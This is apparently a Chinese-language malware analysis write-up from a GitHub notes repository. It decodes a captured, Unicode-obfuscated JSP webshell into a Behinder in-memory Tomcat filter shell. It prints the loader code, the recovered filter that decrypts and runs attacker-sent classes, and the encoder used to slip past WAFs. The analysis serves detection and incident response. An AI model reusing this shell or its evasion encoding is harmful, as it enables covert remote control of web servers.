MyDocs/BehinderShell.md at main · hktalent/MyDocs

By hktalent

Archived: 2026-04-05 21:44:32 UTC

Behinder Mem Shell

木马样本

```
 &lt;%\u0074\u0072\uuu0079 {\uuu000a\uuu0020 \uuu0020 C\uu006cas\uu0073\uuu004co\uu0061d\uuu0065\uuu0072 \u0063\

 \uu0020\uu0020\uu0020\uuu0062yt\uuu0065[\u005d\u0020b\u0079\uuu0074\uuu0065\uuu0063\u006f\u0064\u0065\uuu0020=\

  \u0020\u0020\u007d \uu0063a\u0074\uu0063h\u0020(C\u006c\uuu0061ssNo\uu0074\u0046o\uu0075nd\u0045x\u0063e\uuu00

\u0020\u0020\uuu0020\uu0020\u0020\uuu0020\uu0020 \uuu0062y\u0074e\uu0063\u006f\u0064\u0065 = (\uu0062\uuu0079\u

\uu0020 \uuu0020 }\uu000a\uuu0020\u0020  \u006a\u0061v\uu0061\uu002elang.\u0072\u0065f\uu006cect\uuu002e\uu004d

 \uuu0020\uu0020\u0020\u0063l\uuu007a.\u006ee\uu0077In\uu0073t\uuu0061\uuu006ece();\uu000a} \uu0063\uuu0061\uuu
```

解码方法

无法直接Unicode解码,观察Unicode编码存在\uuu,\uu,\u,是畸形Unicode编码 \uuu0079 y \uu006c l \u0074 t \uuu0079 = \uu0079 =\u0079 = y 因此替换\uuu和\uu 统一替换成 \u 再进行Unicode解码(一段一段的解码)

大致代码如下

```
<%try {
  ClassLoader czoader = Thread.currentThread().getContextClassLoader();
  StringczName= "Scrobicular";
  StringclzBytecodeBase64Str= "xxxxx";
 byte[]bytecode=null;
  try{
    Classbase64Clz=czoader.loadClass("java.util.Base64");
    ClassdecoderClz=czoader.loadClass("java.util.Base64$Decoder");
     Objectdecoder=base64Clz.getMethod("getDecoder").invoke(base64Clz);
   bytecode=(byte[]) decoderClz.getMethod("decode",String.class).invoke(decoder, clzBytecodeBase64St
  } catch(ClassNotFoundException e){
    Class datatypeConverterClz =czoader.loadClass("javax.xml.bind.DatatypeConverter");
    bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.cass).invoke(data
  }
```

```
  java.lang.reflect.MethoddefineClzMethod =clzoader.loadClass("java.lang.ClassLoader").getDecaredMet
   defineClzMethod.setAccessible(true);
    Class clz =(Class) defineClzMethod.invoke(clzoader, clzName, bytecode, 0,bytecode.length);
    cz.newInstance();
} catch (Exceptione) {}%>
```

通过github搜索"base64Clz",看到这个项目https://github.com/TimelineSec/ATTCK-Tools-library/tree/master/JspEncoder

使用方法

```
 Jsp文件Unicode解码：java -jar JspEncoder.jar UniDe srcFile desFile

Jsp文件Unicode编码：java -jar JspEncoder.jar UniEn srcFile desFile

Jspx文件Html解码：java -jar JspEncoder.jar HtmlDe srcFile desFile

Jspx文件Html编码：java -jar JspEncoder.jar HtmlEn srcFile desFile

Jspx文件CDATA解码：java -jar JspEncoder.jar CdataDe srcFile desFile

Jspx文件CDATA编码：java -jar JspEncoder.jar CdataEn srcFile desFile

Base64文件输出为class文件：java -jar JspEncoder.jar ClassOut srcFile desFile

class文件输出为Base64文件：java -jar JspEncoder.jar ClassIn srcFile desFile
```

编码源代码如下,发现和天眼捕获到的特征类似,故用此解码尝试

```
import java.io.*;

public class encoderJsp {
    public encoderJsp(String srcFile, String desFile) throws IOException {
        FileInputStream fis = new FileInputStream(srcFile);  //文件输入流
        InputStreamReader isr = new InputStreamReader(fis);   //输入流读取器
        BufferedReader br = new BufferedReader(isr);         //字符流读取器
        String line = "";
        String text = "";
        while ((line = br.readLine())!= null){
            text += line;
        }
        String subString = text.substring(2,text.length()-2);
        char[] charArray = subString.toCharArray();
        String result = "<%";
        for (int i=0;i<charArray.length;i++){
            if (i==0 || i%8 == 0){
```

```
                    String firstHex = Integer.toHexString(charArray[i]);
                    if (firstHex.length()==2){
                        firstHex = "00" + firstHex;
                        result = result + "\\uu" + firstHex;
                }
            }else if ((i%8 != 0) && (i%9 == 0)){
                    String nineHex = Integer.toHexString(charArray[i]);
                    if (nineHex.length() == 2) {
                        nineHex = "00" + nineHex;
                        result = result + "\\uuu" + nineHex;
                }
            }else if ((i != 0) && (i%8 != 0) && (i%9 != 0) && (i%55 == 0)){
                    result = result + charArray[i];
            } else{
                    String elseHex = Integer.toHexString(charArray[i]);
                    if (elseHex.length() == 2) {
                        elseHex = "00" + elseHex;
                        result = result + "\\u" + elseHex;
                  }
            }
        }
        result = result + "%>";
        FileWriter writer = new FileWriter(desFile);
        writer.write("");
        writer.write(result);
        writer.flush();
        writer.close();
        System.out.println("[!]文件编码完成，已输出至" + desFile);
    }
}
```

decoderJsp 解码最终代码

```
<%try {
    ClassLoader clzLoader = Thread.currentThread().getContextClassLoader();
    String clzName = "Scrobicular";
    String clzBytecodeBase64Str = "yv66vgAAADIBHwcAcAcAdAgAMAcAjwgAFwcAcggBDggAVgEACVpLTTE1LjAuMAEADl
    try {
        Class base64Clz = clzLoader.loadClass("java.util.Base64");
        Class decoderClz = clzLoader.loadClass("java.util.Base64$Decoder");
        Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
        bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, clzBytecodeB
        Class datatypeConverterClz = clzLoader.loadClass("javax.xml.bind.DatatypeConverter");
    java.lang.reflect.Method defineClzMethod = clzLoader.loadClass("java.lang.ClassLoader").getDecla
    defineClzMethod.setAccessible(true);
```

```
    Class clz = (Class) defineClzMethod.invoke(clzLoader, clzName, bytecode, 0, bytecode.length);
} catch (Exception e) {}%>
```

1、通过反射的方式执行clzBytecodeBase64Str,故我们需要解码clzBytecodeBase64Str相关内容,将clzBytecodeBase64Str内容提取出来调用classOut相关函数即可,也可用python脚本执行(需要在linux下执行,否则会被截断)

2、将获得的class 用hex编辑器查看发现ZKM15 字段搜索没搜索出什么(贾老师提示是 混淆),再次用Google Search "java ZKM15" 发现相关文章

3、此时我们需要反混淆的工具,经过尝试(https://github.com/java-deobfuscator/deobfuscator) 工具可以用

4、deobfuscator工具使用注意事项(1、需要将得到的class打包成zip,2、选中ZKM15的相关特征即可)

5、用Luyten(https://github.com/deathmarine/Luyten) 工具反编译class文件 (经过解混淆发现和没有解混淆差别不大,clzBytecodeBase64Str开头相同结尾不同,不注意以为是解混淆失败。其实已经成功了)

经过两次反混淆后得到的class如下

```
package org.apache.catalina.filters;

import java.lang.reflect.*;
import javax.servlet.http.*;
import javax.crypto.*;
import javax.crypto.spec.*;
import java.security.*;
import javax.servlet.*;
import java.io.*;

public class MelebioseFilter implements Filter
{
    public static int a;
    public static int b;

    private Class b(final Object[] array) {
        final byte[] array2 = (byte[])array[0];
        try {
            final ClassLoader classLoader = this.getClass().getClassLoader();
            final Method declaredMethod = classLoader.loadClass("java.lang.ClassLoader").getDeclaredM
            declaredMethod.setAccessible(true);
            return (Class)declaredMethod.invoke(classLoader, null, array2, 0, array2.length);
        }
        catch (Throwable t) {
            throw new RuntimeException(t);
        }
    }
```

```
    private byte[] a(final Object[] array) {
        final String s = (String)array[0];
        try {
            final ClassLoader classLoader = this.getClass().getClassLoader();
            byte[] array2;
            try {
                final Class<?> loadClass = classLoader.loadClass("java.util.Base64");
                array2 = (byte[])classLoader.loadClass("java.util.Base64$Decoder").getMethod("decode
            }
            catch (ClassNotFoundException ex) {
                final Class<?> loadClass2 = classLoader.loadClass("javax.xml.bind.DatatypeConverter"
                array2 = (byte[])loadClass2.getMethod("parseBase64Binary", String.class).invoke(load
            }
            return array2;
        }
        catch (Throwable t) {
            throw new RuntimeException(t);
        }
    }

    public void init(final FilterConfig filterConfig) throws ServletException {
    }

    public void doFilter(final ServletRequest servletRequest, final ServletResponse servletResponse,
        final int b = MelebioseFilter.b;
        final HttpServletRequest httpServletRequest = (HttpServletRequest)servletRequest;
        final int n = b;
        final HttpServletResponse httpServletResponse = (HttpServletResponse)servletResponse;
        if (httpServletRequest.getHeader("User-Agent") != null && httpServletRequest.getHeader("User
            final ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            Label_0312: {
                try {
                    if (httpServletRequest.getSession().getAttribute("u") == null) {
                        httpServletRequest.getSession().setAttribute("u", (Object)"7b35dabef09e402b"
                    }
                    final Cipher instance = Cipher.getInstance("AES");
                    instance.init(2, new SecretKeySpec(((String)httpServletRequest.getSession().getA
                    final ServletInputStream inputStream = httpServletRequest.getInputStream();
                    final byte[] array = new byte[1024];
                    int read;
                    while ((read = inputStream.read(array)) != -1) {
                        byteArrayOutputStream.write(array, 0, read);
                        if (n != 0) {
                            break Label_0312;
                        }
                        if (n != 0) {
                            break;
```

```
                        }
                    }
                    this.b(new Object[] { instance.doFinal(this.a(new Object[] { new String(byteArra
                }
                catch (Throwable t) {
                    filterChain.doFilter(servletRequest, servletResponse);
                }
                finally {
                    byteArrayOutputStream.close();
                }
            }
            if (n == 0) {
                return;
            }
        }
        filterChain.doFilter(servletRequest, servletResponse);
    }

    public void destroy() {
    }
}
```

可以发现是冰蝎内存马,整个内存马过Waf的处理流程如下

冰蝎内存马-->ZKM15混淆-->class文件输出为Base64文件-->ZKM15混淆-->class文件输出为Base64文件-->特殊Unicode编码

不知道混淆的情况下使用以下方法 https://mp.weixin.qq.com/s/yvEHxhsedSwB12PTcQ5aRg

---